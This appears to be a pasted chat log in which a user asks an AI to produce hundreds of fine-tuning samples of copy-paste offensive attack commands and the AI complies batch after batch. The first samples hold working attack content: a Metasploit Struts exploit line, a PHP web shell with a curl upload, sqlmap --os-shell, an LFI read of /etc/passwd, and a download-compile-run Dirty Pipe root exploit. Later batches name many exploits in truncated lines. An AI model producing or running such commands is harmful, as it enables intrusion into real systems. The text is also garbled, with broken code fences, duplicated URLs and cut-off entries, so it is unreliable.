

Please read the prompt below.

### 5 High-Quality Fine-Tuning Samples

Each sample is in the required JSON format and focuses on providing practical, offensive attack commands.

#### JSON

```
[  
{  
    "instruction": "Generate a step-by-step attack plan with a specific Metasploit command sequence for the identified vulnerability.",  
    "input": "Nessus Scan finding on target 192.168.1.10: Port 8080 is running Apache Struts 2. The application is vulnerable to Remote Code Execution (RCE) via a crafted Content-Type header, as identified by CVE-2017-5638.",  
    "output": "Step 1 — Identify Vulnerability\nThe target is running a vulnerable version of Apache Struts (CVE-2017-5638), which allows for unauthenticated remote code execution.\n\nStep 2 — Formulate Metasploit Command\nWe will use the dedicated Metasploit module to exploit this vulnerability and gain a shell.\n\nStep 3 — Execute Attack\nUse the following single command to launch `msfconsole`, configure the exploit, and execute it against the target to get a meterpreter shell.\n` ` ` bash\nmsfconsole -q -x \"use exploit/multi/http/struts2_content_type_renegotiation; set RHOSTS 192.168.1.10; set RPORT 8080; set LHOST <YOUR_IP>; exploit\"` ` `"  
},  
{  
    "instruction": "Provide the practical attack commands to exploit the file upload vulnerability and get a web shell.",  
    "input": "Nikto Scan finding on target 10.0.2.5: An unrestricted file
```

upload form was identified at '/uploads/index.php'. The server appears to be running PHP.",

"output": "Step 1 — Create a Malicious PHP Shell\nCreate a file named `shell.php` with the following content to execute commands via a URL parameter:\n`<?php system(\$\_GET['cmd']); ?>`\n\nStep 2 — Upload the Shell\nUse `curl` to upload the `shell.php` file to the vulnerable upload form.\n` `` bash\ncurl -X POST -F 'file=@shell.php' [http://10.0.2.5/uploads/index.php]\n(http://10.0.2.5/uploads/index.php)`\n\nStep 3 — Execute Commands\nAccess the uploaded shell and run commands. The following command will execute `whoami` on the target server.\n` `` bash\ncurl [http://10.0.2.5/uploads/shell.php?cmd=whoami]\n(http://10.0.2.5/uploads/shell.php?cmd=whoami)`\n```\n},\n{\n

"instruction": "Generate the sqlmap command to escalate the identified SQL injection to an operating system shell.",

"input": "Scan report indicates a boolean-based blind SQL injection vulnerability in the 'id' parameter at the URL 'http://testsite.com/page.php?id=1'. The backend database is MySQL on a Linux server.",

"output": "Step 1 — Confirm Vulnerability\nThe SQL injection in the 'id' parameter can be escalated to gain remote code execution.\n\nStep 2 — Formulate `sqlmap` Command\nWe will use `sqlmap` to automate the exploitation process and request an interactive OS shell. The `--os-shell` flag will guide `sqlmap` to upload a web shell and provide an interface to it.\n\nStep 3 — Execute Attack\nRun the following command. `sqlmap` will handle the exploitation and prompt you with the location of the web shell.\n` `` bash\nsqlmap -u \"[http://testsite.com/page.php?id=1](http://testsite.com/page.php?id=1)\" --os-shell --batch`\n```\n},\n{\n

"instruction": "Create a two-step attack chain using the provided findings, including the final exploit command.",

"input": "Finding 1: A Local File Inclusion (LFI) vulnerability exists in the 'page' parameter: 'http://webapp.com/index.php?page=main.php'.  
Finding 2: An information disclosure vulnerability in '/info.php' reveals the server's web root is '/srv/www/html'.",

"output": "Step 1 — Information Gathering\nFirst, we use the information disclosure vulnerability to confirm the web root path is `/srv/www/html`.\nStep 2 — Chain with LFI to Read Sensitive File\nWe now chain this knowledge with the LFI vulnerability. By using directory traversal from the known web root, we can read sensitive system files like `/etc/passwd`.\nStep 3 — Execute Attack\nUse `curl` or a web browser to send the following payload, which traverses from the web root to the target file.\n```\nbash\ncurl '[http://webapp.com/index.php?\npage=../../../../srv/www/html/../../../../etc/passwd]\n(http://webapp.com/index.php?\npage=../../../../srv/www/html/../../../../etc/passwd)'\n```\n},\n{\n\n"instruction": "Assuming initial low-privilege shell access, provide the commands to compile and execute an exploit for the identified kernel vulnerability to gain root.",

"input": "Post-exploitation scan reveals the target is running Linux kernel 5.10.92. This version is vulnerable to the 'Dirty Pipe' privilege escalation vulnerability (CVE-2022-0847). A low-privilege user shell has been obtained.",

"output": "Step 1 — Identify Privilege Escalation Vector\nThe target is vulnerable to CVE-2022-0847 (Dirty Pipe), which allows overwriting read-only files to escalate privileges to root.\nStep 2 — Download and Compile Exploit\nFrom the low-privilege shell on the target machine, we will download a known PoC exploit from GitHub, compile it using `gcc`, and then run it.\nStep 3 — Execute Attack\nRun the following sequence of commands directly on the target shell.\n```\nbash\nwget [https://raw.githubusercontent.com/r1is/CVE-2022-0847/main/exploit.c](https://raw.githubusercontent.com/r1is/CVE-2022-0847/main/exploit.c)\n[https://raw.githubusercontent.com/r1is/CVE-2022-0847/main/exploit.c](https://raw.githubusercontent.com/r1is/CVE-2022-0847/main/exploit.c)\n-O /tmp/exploit.c\ngcc /tmp/exploit.c -o\n```\n",

```
/tmp/exploit\n/tmp/exploit\n````"  
}  
]  
}
```

### Prompt to Generate More Samples

Use this prompt with a powerful LLM like Gemini or ChatGPT. You will replace the placeholders at the end with your own new instruction and input.

You are an expert penetration tester and an AI data generation assistant. Your task is to create a single, high-quality data sample for fine-tuning a language model.

Given a user instruction and a raw input (like a scan report snippet), you must generate a perfect, expert-level output that fulfills the instruction.

The output must be detailed, professional, and include specific, practical, and copy-paste-ready offensive attack commands. It should explain the "why" behind each step of the attack.

Your entire response must be a single, valid JSON object with the keys "instruction", "input", and "output".

Here is a perfect example:

JSON

```
{  
  "instruction": "Generate the sqlmap command to escalate the identified  
  SQL injection to an operating system shell.",  
  "input": "Scan report indicates a boolean-based blind SQL injection  
  vulnerability in the 'id' parameter at the URL  
  'http://testsite.com/page.php?id=1'. The backend database is MySQL on  
  a Linux server.",  
  "output": "Step 1 — Confirm Vulnerability\nThe SQL injection in the 'id'  
  parameter can be escalated to gain remote code execution.\n\nStep 2
```

— Formulate `sqlmap` Command\nWe will use `sqlmap` to automate the exploitation process and request an interactive OS shell. The `--os-shell` flag will guide `sqlmap` to upload a web shell and provide an interface to it.\nStep 3 — Execute Attack\nRun the following command. `sqlmap` will handle the exploitation and prompt you with the location of the web shell.\n```\nbash\nsqlmap -u \"\n[http://testsite.com/page.php?id=1](http://testsite.com/page.php?id=1)\" --os-shell --batch\n```\n}

Now, create a new JSON data sample based on the following new instruction and input.

New Instruction:

[PASTE YOUR NEW INSTRUCTION HERE]

New Input:

[PASTE YOUR NEW RAW INPUT DATA HERE]

You have to generate a total of approx 400-500 such data samples. Not in a single prompt but provide me in multiple response so that your token limit not exceeds. How much max data samples you can provide in a single response provide me. Then, provide other in upcoming prompts.

Q Thought for 6s

I can provide up to 10 high-quality data samples per response to stay well within token limits while ensuring detail and quality. Here are the first 10 samples, each as a valid JSON object in an array format. Let me know when you're ready for the next batch (samples 11-20).

json

[

{

  "instruction": "Generate a step-by-step attack plan using Burp Suite  
  "input": "Burp Scanner finding on target https://app.example.com/login"

```
"output": "Step 1 – Identify Vulnerability\nThe reflected XSS in the
},
{
  "instruction": "Provide the Nmap command sequence to discover and fin
  "input": "Initial recon shows target 172.16.0.50 has an open port 445
  "output": "Step 1 – Identify Vulnerability\nPort 445 indicates SMB,
},
{
  "instruction": "Generate the Metasploit command to exploit the identi
  "input": "OpenVAS scan on target 10.10.10.20: Port 443/TCP is running
  "output": "Step 1 – Identify Vulnerability\nHeartbleed (CVE-2014-016
},
{
  "instruction": "Create a command chain to exploit the command injecti
  "input": "ZAP scan finding on target http://vulnerable-site.com/ping.
  "output": "Step 1 – Confirm Vulnerability\nThe 'ip' parameter allows
},
{
  "instruction": "Provide the steps and ysoserial command to generate a
  "input": "Burp Suite finding on target https://api.example.com/proces
  "output": "Step 1 – Identify Vulnerability\nUnsafe deserialization c
},
{
  "instruction": "Generate a two-step attack using the directory travers
  "input": "Finding 1: Directory traversal in '/download.php?file=doc.p
  "output": "Step 1 – Information Gathering\nLeverage the traversal to
},
{
  "instruction": "Provide the practical commands to exploit the weak JW
  "input": "JWT token analysis on target https://app.target.com: The to
  "output": "Step 1 – Identify Vulnerability\nWeak secret in HS256-sig
},
{
  "instruction": "Generate the sqlmap tamper script and command to bypass
  "input": "Scan report: Time-based blind SQLi in 'username' parameter
  "output": "Step 1 – Confirm Vulnerability\nTime-based blind SQLi all
},
{
  "instruction": "Assuming a foothold shell, provide commands to exploi
  "input": "Post-exploitation enum: The user 'webuser' can run '/usr/bi
  "output": "Step 1 – Identify Privilege Escalation\nSudo allows 'webu
},
{
  "instruction": "Create the curl command sequence to exploit the SSRF
  "input": "Finding: Server-Side Request Forgery (SSRF) in 'url' parame
```

```
"output": "Step 1 – Identify Vulnerability\nSSRF allows the server to receive requests from external sources.\n}\n]
```

Excellent please go ahead for further data samples.

Q Thought for 5s

json

```
[{"id": 1, "instruction": "Generate the Nuclei template command to scan for the Log4Shell vulnerability.", "input": "Custom scan on target 192.168.100.5: Application logs show Log4Shell vulnerability.", "output": "Step 1 – Identify Vulnerability\nLog4Shell allows remote code execution via JNDI injection."}, {"id": 2, "instruction": "Provide the steps and curl commands to exploit the open redirect flaw.", "input": "OWASP ZAP finding on target https://secure-bank.com: Open redirect flaw found.", "output": "Step 1 – Identify Vulnerability\nOpen redirect flaws can be exploited using curl or similar tools."}, {"id": 3, "instruction": "Generate a Metasploit resource script to chain the RC4 and Log4Shell vulnerabilities.", "input": "Exploit-DB entry for target 10.11.0.30: PHP remote file inclusion vulnerability.", "output": "Step 1 – Identify Vulnerability\nRFI enables including remote resources."}, {"id": 4, "instruction": "Provide the Python script snippet to brute-force the weak basic auth password.", "input": "Dirbuster scan on target http://intranet.local: Basic auth password is weak.", "output": "Step 1 – Identify Vulnerability\nWeak Basic Auth can be brute-forced using tools like Dirbuster."}, {"id": 5, "instruction": "Create a command sequence to exploit the buffer overflow vulnerability.", "input": "Fuzzing report on target 172.17.0.2: Port 9999 running a custom service.", "output": "Step 1 – Identify Vulnerability\nBuffer overflow allows control over memory."}, {"id": 6, "instruction": "Generate the steps and dirsearch command to discover directory enumeration.", "input": "Finding: Default index page at http://forum.example.com suggests directory enumeration.", "output": "Step 1 – Identify Vulnerability\nDirectory enumeration can be performed using tools like dirsearch."}, {"id": 7, "instruction": "Provide the Impacket command to exploit the NTLM relay attack.", "input": "Impacket tool documentation for NTLM relay attack.", "output": "Step 1 – Identify Vulnerability\nNTLM relay attack allows for password cracking without user interaction."}]
```

```

    "input": "Bloodhound analysis on domain controller 10.0.0.10: SMB signature verification failed for several shares. This may indicate disabled SMB signing enforcement or misconfiguration.",

    "output": "Step 1 – Identify Vulnerability\nDisabled SMB signing enforcement detected.",

    },
    {

        "instruction": "Generate a two-step chain using the CSRF vulnerability found in the profile update endpoint.",

        "input": "Finding 1: CSRF in '/profile/update' lacks token validation.",

        "output": "Step 1 – Information Gathering\nConfirm the POST endpoint is vulnerable to CSRF.",

    },
    {

        "instruction": "Assuming shell access, provide commands to exploit the world-writable cron job.",

        "input": "Post-exploit enum on Linux target: A world-writable cron job was found.",

        "output": "Step 1 – Identify Privilege Escalation\nWritable cron script found.",

    },
    {

        "instruction": "Create the wfuzz command to fuzz the identified IDOR endpoint.",

        "input": "Burp finding on target https://api.bank.com/user/123: Insecure direct object reference (IDOR).",

        "output": "Step 1 – Identify Vulnerability\nIDOR permits accessing resources directly via URL.",

    }

]

```

Excellent. go ahead

Q Thought for 4s

json

```

[

    {

        "instruction": "Generate the exploit command using the provided PoC file.",

        "input": "GitHub PoC for CVE-2023-XXXX on target https://java-app.com/exploit.",

        "output": "Step 1 – Identify Vulnerability\nThe deserialization flaw is present.",

    },
    {

        "instruction": "Provide the steps and command to exploit the misconfigured S3 bucket.",

        "input": "Recon finding: S3 bucket 'company-backup-2025' at https://company.s3.amazonaws.com is public.",

        "output": "Step 1 – Identify Vulnerability\nPublic S3 buckets expose sensitive data.",

    },
    {

        "instruction": "Create a Metasploit command sequence to exploit the BlueBorne flaw.",

        "input": "BlueHydra scan on nearby device MAC AA:BB:CC:DD:EE:FF: Running a Metasploit exploit against the device.",

        "output": "Step 1 – Identify Vulnerability\nBlueBorne exploits flaws in Bluetooth stack.",

    },
    {


```

```
"instruction": "Generate the command to use Gobuster for discovering  
"input": "Finding: GraphQL introspection enabled at https://api.targe  
"output": "Step 1 – Identify Vulnerability\nExposed GraphQL allows e  
},  
{  
    "instruction": "Provide the Python one-liner to exploit the XXE vulne  
    "input": "XXE in XML POST to http://xml-parser.com/process: Entity ex  
    "output": "Step 1 – Identify Vulnerability\nXXE permits external ent  
},  
{  
    "instruction": "Generate a two-step attack chain using the clickjacking  
    "input": "Finding 1: Clickjacking on https://bank.com/transfer lacks  
    "output": "Step 1 – Confirm Clickjacking\nLoad the transfer page in  
},  
{  
    "instruction": "Provide the commands to exploit the Docker API exposu  
    "input": "Port scan: Docker daemon exposed on 10.0.1.100:2375 without  
    "output": "Step 1 – Identify Vulnerability\nExposed Docker socket al  
},  
{  
    "instruction": "Generate the sqlmap command with custom tamper to exp  
    "input": "Finding: Error-based SQLi in 'search' GET parameter at http  
    "output": "Step 1 – Confirm Vulnerability\nError-based SQLi leaks da  
},  
{  
    "instruction": "Assuming initial access, provide commands to exploit  
    "input": "Kubelet enum: Pod runs as serviceaccount with cluster-admin  
    "output": "Step 1 – Identify Privilege Escalation\nOver-privileged s  
},  
{  
    "instruction": "Create the command to use ffuf for fuzzing the authen  
    "input": "Finding: API at https://restapi.com/v1/users returns 200 fo  
    "output": "Step 1 – Identify Vulnerability\nWeak auth allows fuzzing  
}  
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability

Q Thought for 6s

json

```
[  
 {  
   "instruction": "Generate the steps and command to exploit the Spring4Shell vulnerability on target https://spring-app.com: Using Impacket to forge a Kerberos ticket.",  
   "input": "Dependency scan on target https://spring-app.com: Using Spring4Shell allows RCE.",  
   "output": "Step 1 – Identify Vulnerability\nSpring4Shell allows RCE",  
 },  
 {  
   "instruction": "Provide the Impacket command to forge a Kerberos ticket.",  
   "input": "Bloodhound finding on AD domain example.com: User 'serviceaccount' has over-privileged service account.",  
   "output": "Step 1 – Identify Vulnerability\nOver-privileged service account",  
 },  
 {  
   "instruction": "Generate the command sequence to exploit the .NET deserialization vulnerability.",  
   "input": "Burp finding on target https://dotnetapp.com/process: Binary deserialization vulnerability found.",  
   "output": "Step 1 – Identify Vulnerability\nUnsafe .NET deserialization",  
 },  
 {  
   "instruction": "Provide the curl commands to exploit the path traversal vulnerability.",  
   "input": "Finding: Path traversal in '/download?file=report.pdf' at https://example.com: Bypasses security checks.",  
   "output": "Step 1 – Identify Vulnerability\nPath traversal bypasses security checks",  
 },  
 {  
   "instruction": "Generate the LDAP injection payload and command to exploit the LDAP auth vulnerability.",  
   "input": "Scan report: LDAP auth at ldap://auth.server.com uses unsafe password hashing.",  
   "output": "Step 1 – Identify Vulnerability\nLDAP injection allows man-in-the-middle attacks",  
 },  
 {  
   "instruction": "Create a Metasploit command to exploit the BlueKeep RDP vulnerability.",  
   "input": "Nmap vuln script on target 192.168.56.101: Port 3389 RDP vulnerability found.",  
   "output": "Step 1 – Identify Vulnerability\nBlueKeep allows unauthorized access",  
 },  
 {  
   "instruction": "Provide the commands to exploit the insecure API key storage vulnerability.",  
   "input": "Finding: JavaScript file at https://app.com/js/config.js exposes API keys.",  
   "output": "Step 1 – Identify Vulnerability\nClient-side storage of sensitive data",  
 },  
 {  
   "instruction": "Generate a two-step chain using business logic flaw to exploit the system.",  
   "input": "Finding 1: Shopping cart at https://ecom.com/cart allows nested items.",  
   "output": "Step 1 – Manipulate Cart\nIntercept the add-to-cart request",  
 },  
 {  
   "instruction": "Provide the sqlmap command to dump credentials from the database.",  
   "input": "Finding: Union-based SQLi in 'cat' parameter at http://newsapi.org/v2/everything",  
   "output": "Step 1 – Identify Vulnerability\nUnion-based SQLi allows database dumping",  
 }]
```

```

    "output": "Step 1 – Identify Vulnerability\nUnion SQLi allows stack injection\n}\n{\n    "instruction": "Assuming shell access, provide commands to exploit the vulnerability\n    \"input\": \"LinPEAS enum: /usr/local/bin/editor SUID bit set, vulnerable\"\n    \"output\": \"Step 1 – Identify Privilege Escalation\\nSUID binaries run as root\"\n}\n]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability

Q Thought for 10s

json

```

[{\n    "instruction": "Generate the Metasploit command to exploit the ProxyShell vulnerability\n    \"input\": \"Exchange scan on target mail.company.com: Vulnerable to ProxyShell\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nProxyShell chains three vulnerabilities\"\n}, {\n    "instruction": "Provide the sqlmap command to exploit the SQL injection vulnerability\n    \"input\": \"Finding: SQL injection in file download parameter at https://www.example.com/file.php\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nUnauthenticated SQLi in file download parameter\"\n}, {\n    "instruction": "Generate the curl command sequence to exploit the Citrix ADC Gateway vulnerability\n    \"input\": \"Nmap script on target 10.10.10.10: Citrix ADC Gateway 12.1\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nBuffer overflow in Citrix ADC Gateway 12.1\"\n}, {\n    "instruction": "Provide the commands to exploit the F5 BIG-IP iControl REST API vulnerability\n    \"input\": \"Finding: F5 BIG-IP 13.1.0 exposed on https://loadbalancer.citrix.net\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nUnauthenticated access to F5 BIG-IP iControl REST API\"\n}, {\n    "instruction": "Generate the curl command to exploit the Jenkins Script Console vulnerability\n    \"input\": \"Finding: Jenkins 2.235 on http://ci.dev:8080/script vulnerable\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nExposed Script Console on Jenkins 2.235\"\n}

```

```

    "instruction": "Provide the curl commands to exploit unauthenticated",
    "input": "Port scan: Elasticsearch 6.8 on 192.168.1.200:9200 without",
    "output": "Step 1 – Identify Vulnerability\nUnauthenticated ES allow",
  },
  {
    "instruction": "Generate the commands to exploit unauthenticated Mong",
    "input": "Finding: MongoDB 4.0 on mongodb://db.server.com:27017 witho",
    "output": "Step 1 – Identify Vulnerability\nNo auth on MongoDB expos",
  },
  {
    "instruction": "Provide the Redis commands to exploit unauthenticated",
    "input": "Telnet scan: Redis 5.0 on 10.0.0.50:6379 no auth, config sh",
    "output": "Step 1 – Identify Vulnerability\nUnauth Redis allows writ",
  },
  {
    "instruction": "Generate the amplification command for Memcached unau",
    "input": "Scan: Memcached 1.5.6 on udp/11211 public IP 203.0.113.1, n",
    "output": "Step 1 – Identify Vulnerability\nUnauth Memcached UDP all",
  },
  {
    "instruction": "Provide the curl command to exploit WebDAV PROPFIND f",
    "input": "Finding: WebDAV enabled on https://webdav.site.com/ without",
    "output": "Step 1 – Identify Vulnerability\nMisconfigured WebDAV exp",
  }
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```

[
  {
    "instruction": "Generate the Metasploit command to exploit the Atlass",
    "input": "Scan finding on target https://confluence.company.com:8090:",
    "output": "Step 1 – Identify Vulnerability\nOGNL injection in Conflu",
  },
  {
    "instruction": "Provide the curl command to exploit the Apache HTTP S",
    "input": "Finding: Apache 2.4.49 on http://webserver.com vulnerable t",
  }
]

```

```
"output": "Step 1 – Identify Vulnerability\nChunked smuggling exploit\n}\n{\n    "instruction": "Generate the command sequence to exploit the Oracle W\n    \"input\": \"Nmap script on target 192.168.86.1:7001: WebLogic 10.3.6 vu\n    \"output\": \"Step 1 – Identify Vulnerability\\nIIOP deserialization in\n}\n{\n    \"instruction\": \"Provide the steps and curl commands to exploit the In\n    \"input\": \"Burp finding on https://hr.system.com/api/profile/123: IDOR\n    \"output\": \"Step 1 – Identify Vulnerability\\nIDOR exposes sensitive u\n}\n{\n    \"instruction\": \"Generate the Metasploit command to exploit the SMBGho\n    \"input\": \"SMB scan on Windows target 10.10.20.30: SMBv3 compression (\n    \"output\": \"Step 1 – Identify Vulnerability\\nSMBGhost allows unauth F\n}\n{\n    \"instruction\": \"Provide the Python script to exploit the Race Conditi\n    \"input\": \"Finding: API at https://auth.service.com/renew has race con\n    \"output\": \"Step 1 – Identify Vulnerability\\nRace condition in token\n}\n{\n    \"instruction\": \"Generate the command to use sqlmap for out-of-band SQ\n    \"input\": \"Finding: Out-of-band SQLi in 'product' parameter at http://\n    \"output\": \"Step 1 – Identify Vulnerability\\nOOB SQLi uses external c\n}\n{\n    \"instruction\": \"Provide the commands to exploit the weak session cook\n    \"input\": \"Finding: Site http://forum.com sets session ID via query pa\n    \"output\": \"Step 1 – Identify Vulnerability\\nSession fixation allows\n}\n{\n    \"instruction\": \"Generate a two-step chain using XML External Entity i\n    \"input\": \"Finding 1: XXE in /upload XML POST at https://parser.com/ap\n    \"output\": \"Step 1 – Confirm XXE to SSRF\\nUse XXE to resolve internal\n}\n{\n    \"instruction\": \"Assuming foothold, provide commands to exploit the wr\n    \"input\": \"Post-exploit: Low-priv user can write to /etc/crontab due t\n    \"output\": \"Step 1 – Identify Privilege Escalation\\nWritable crontab\n}\n]\n]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 8s

json

[

{

    "instruction": "Generate the Metasploit command to exploit the PrintN  
    "input": "Post-exploitation on Windows target 192.168.1.100: Print Sp  
    "output": "Step 1 – Identify Vulnerability\\nPrintNightmare exploits

},

{

    "instruction": "Provide the Impacket command to exploit Zerologon for  
    "input": "Finding: Domain Controller 10.0.0.10 running Netlogon vulne  
    "output": "Step 1 – Identify Vulnerability\\nZerologon enables resett

},

{

    "instruction": "Generate the curl command to exploit the Signature Wr  
    "input": "Finding: SOAP endpoint at https://api.soap.com/verify uses  
    "output": "Step 1 – Identify Vulnerability\\nSignature wrapping inser

},

{

    "instruction": "Provide the commands to exploit the insecure cryptogr  
    "input": "Database dump from previous access: Passwords stored as rev  
    "output": "Step 1 – Identify Vulnerability\\nWeak reversible encrypti

},

{

    "instruction": "Generate the Metasploit command to exploit the SaltSt  
    "input": "Scan on target 192.168.10.50:443: Salt Master 3000.2 vulner  
    "output": "Step 1 – Identify Vulnerability\\nSaltStack flaws allow ur

},

{

    "instruction": "Provide the curl command sequence to exploit the HTTP  
    "input": "Finding: Load balancer in front of nginx backend at http://  
    "output": "Step 1 – Identify Vulnerability\\nRequest smuggling poison

},

{

    "instruction": "Generate the Python script to exploit the insufficien  
    "input": "Finding: App at https://data.com/export logs only errors, n  
    "output": "Step 1 – Identify Vulnerability\\nLack of logging allows u

},

```
{  
    "instruction": "Provide the commands to exploit the misconfigured CORS  
    "input": "Finding: API at https://api.bank.com/* has CORS with Access  
    "output": "Step 1 – Identify Vulnerability\\nOverly permissive CORS enables cross-site requests"  
},  
{  
    "instruction": "Generate a two-step attack chain using broken access control  
    "input": "Finding 1: /user/profile accessible with user token. Finding 2: /user/settings accessible with user token"  
    "output": "Step 1 – Intercept User Request\\nCapture a legitimate user request and modify it to include the user token"  
},  
{  
    "instruction": "Provide the sqlmap command to exploit the second-order SQLi vulnerability  
    "input": "Finding: Second-order SQLi in user registration 'username' field"  
    "output": "Step 1 – Identify Vulnerability\\nSecond-order SQLi triggered by user input during registration"  
}  
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 5s

json

```
[  
    {  
        "instruction": "Generate the command to exploit the unencrypted sensitive information vulnerability in the application's API endpoint.  
        "input": "Wireshark capture on network: HTTP traffic between app and server shows an unencrypted password being sent in clear text."  
        "output": "Step 1 – Identify Vulnerability\\nUnencrypted HTTP exposes sensitive information such as passwords."  
    },  
    {  
        "instruction": "Provide the steps and curl command to exploit the missing CSRF protection vulnerability.  
        "input": "Finding: Password change at https://user.com/change-pw lacks CSRF token verification."  
        "output": "Step 1 – Identify Vulnerability\\nAbsent CSRF tokens allow attackers to perform unauthorized changes."  
    },  
    {  
        "instruction": "Generate the Metasploit command to exploit the vBulletin 5.6.0 vulnerability.  
        "input": "Scan on https://forum.com: vBulletin 5.6.0 vulnerable to CVE-2023-3000."  
        "output": "Step 1 – Identify Vulnerability\\nSQLi in vBulletin allows remote code execution via injection."  
    },  
    {  
        "instruction": "Provide the commands to exploit the insecure file permission vulnerability.  
        "input": "Post-access enum: /shared/uploads directory on Linux server has world-writable permissions."  
        "output": "Step 1 – Identify Vulnerability\\nInsecure file permissions allow privilege escalation."  
    }]
```

```
"output": "Step 1 – Identify Vulnerability\nWorld-writable dirs allocated\n},\n{\n    "instruction": "Generate the Python script to exploit the predictable\n    \"input\": \"Finding: Session IDs at http://app.com generated as timestamps\n    \"output\": \"Step 1 – Identify Vulnerability\nPredictable SIDs allow guesswork\n},\n{\n    "instruction": "Provide the curl command to exploit the open GraphQL\n    \"input\": \"Finding: GraphQL at https://api.com/graphql allows introspection\n    \"output\": \"Step 1 – Identify Vulnerability\nEnabled introspection exposes sensitive data\n},\n{\n    "instruction": "Generate the command sequence to exploit the weak CAPTCHA\n    \"input\": \"Finding: Registration at https://site.com/register uses simple CAPTCHA\n    \"output\": \"Step 1 – Identify Vulnerability\nWeak CAPTCHA fails to prevent automated attacks\n},\n{\n    "instruction": "Provide the steps and command to exploit the exposed .git directory\n    \"input\": \"Dir scan: .git/HEAD exposed at http://dev.site.com/.git/HEAD\n    \"output\": \"Step 1 – Identify Vulnerability\nExposed .git allows download of source code\n},\n{\n    "instruction": "Generate a two-step chain using the broken authentication\n    \"input\": \"Finding 1: Password reset at /reset?token=abc requires email confirmation\n    \"output\": \"Step 1 – Trigger Reset for Target\nRequest reset for admin account\n},\n{\n    "instruction": "Assuming shell, provide commands to exploit the outdated PHP\n    \"input\": \"Server enum: PHP 5.3.5 on /var/www, unrestricted upload to /upload\n    \"output\": \"Step 1 – Identify Privilege Escalation\nOutdated PHP with known vulnerabilities\n}\n]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 6s

json

```
[  
 {  
   "instruction": "Generate the steps and curl command to exploit the OA  
   "input": "Finding: OAuth provider at https://auth.company.com/token u  
   "output": "Step 1 – Identify Vulnerability\nMisconfigured OAuth impl  
 },  
 {  
   "instruction": "Provide the Python command to exploit Python pickle d  
   "input": "Burp finding on https://pyapp.com/process: Accepts pickled  
   "output": "Step 1 – Identify Vulnerability\nUnsafe pickle deserializ  
 },  
 {  
   "instruction": "Generate a two-step chain using LFI to RCE via log po  
   "input": "Finding 1: LFI in /page.php?file=about.txt allows ../../ in  
   "output": "Step 1 – Poison Log File\nInject PHP code into User-Agent  
 },  
 {  
   "instruction": "Provide the Hydra command to brute-force the weak pas  
   "input": "Enum: SSH on 192.168.1.200 port 22, users 'admin' and 'user  
   "output": "Step 1 – Identify Vulnerability\nWeak policy enables onli  
 },  
 {  
   "instruction": "Generate the curl command to exploit the exposed debu  
   "input": "Dirbuster finding: /debug/info at https://app.com/debug/inf  
   "output": "Step 1 – Identify Vulnerability\nExposed debug endpoints  
 },  
 {  
   "instruction": "Provide the commands to exploit command injection in  
   "input": "API finding: Docker container creation at http://dockerhost  
   "output": "Step 1 – Identify Vulnerability\nUnescaped cmd param allo  
 },  
 {  
   "instruction": "Generate the jwt_tool command to bypass JWT validatio  
   "input": "JWT analysis: Token at Authorization header uses alg: none,  
   "output": "Step 1 – Identify Vulnerability\n'none' algorithm allows  
 },  
 {  
   "instruction": "Provide the curl command to exploit prototype polluti  
   "input": "Finding: Node app at https://jsapp.com/update merges user i  
   "output": "Step 1 – Identify Vulnerability\nPrototype pollution over  
 },  
 {  
   "instruction": "Generate the command to exploit Ruby YAML deserializa  
   "input": "Finding: Rails app at https://rubyapp.com/config accepts YA  
 }
```

```
"output": "Step 1 – Identify Vulnerability\nUnsafe YAML.load deserialization\n}',\n{\n    "instruction": "Provide the ab command to exploit misconfigured Nginx\n    \"input\": \"Finding: Nginx 1.14 on http://web.com with keepalive_requests\n    \"output\": \"Step 1 – Identify Vulnerability\nHigh keepalive and no limit\n    \n}\n]\n\n
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

## Q Thought for 5s

json

```
[\n{\n    "instruction": "Generate the command to exploit the insecure direct object reference\n    \"input\": \"Finding: File share at https://share.com/download?id=abc123\n    \"output\": \"Step 1 – Identify Vulnerability\nIDOR in file IDs permits\n    \n},\n{\n    "instruction": "Provide the steps and curl command to exploit the broken link\n    \"input\": \"Finding: Login at https://login.com has no CAPTCHA or rate limiting\n    \"output\": \"Step 1 – Identify Vulnerability\nAbsent automation controls\n    \n},\n{\n    "instruction": "Generate the Metasploit command to exploit the Drupal\n    \"input\": \"Scan on https://drupal.site.com: Drupal 7.58 vulnerable to\n    \"output\": \"Step 1 – Identify Vulnerability\nDrupalgeddon2 exploits found\n    \n},\n{\n    "instruction": "Provide the commands to exploit the use of a component\n    \"input\": \"Dependency check: Lodash 4.17.10 in JS app at https://app.com\n    \"output\": \"Step 1 – Identify Vulnerability\nOutdated lodash allows privilege escalation\n    \n},\n{\n    "instruction": "Generate the curl command sequence to exploit the security issue\n    \"input\": \"Finding: API at https://api.com has Access-Control-Allow-Origin header\n    \"output\": \"Step 1 – Identify Vulnerability\nMisconfigured CORS with\n    \n},\n{\n    "instruction": "Provide the curl command to exploit the configuration\n    \"input\": \"Finding: Nginx 1.14 on http://web.com with keepalive_requests\n    \"output\": \"Step 1 – Identify Vulnerability\nHigh keepalive and no limit\n    \n}\n]\n\n
```

```

    "instruction": "Provide the Python script to exploit the insufficient",
    "input": "Finding: Session IDs generated using Math.random() in JS, p",
    "output": "Step 1 – Identify Vulnerability\nLow-entropy PRNG allows",
},
{
    "instruction": "Generate the command to exploit the improper certific",
    "input": "Finding: Android app at com.app pintrusts all certs via Net",
    "output": "Step 1 – Identify Vulnerability\nDisabled cert pinning er",
},
{
    "instruction": "Provide the steps and curl command to exploit the fai",
    "input": "Finding: Admin panel at https://admin.site.com/dashboard ac",
    "output": "Step 1 – Identify Vulnerability\nUnrestricted admin URLs",
},
{
    "instruction": "Generate a two-step attack chain using XML bomb for X",
    "input": "Finding 1: XXE in /upload at https://xmlapp.com. Finding 2:",
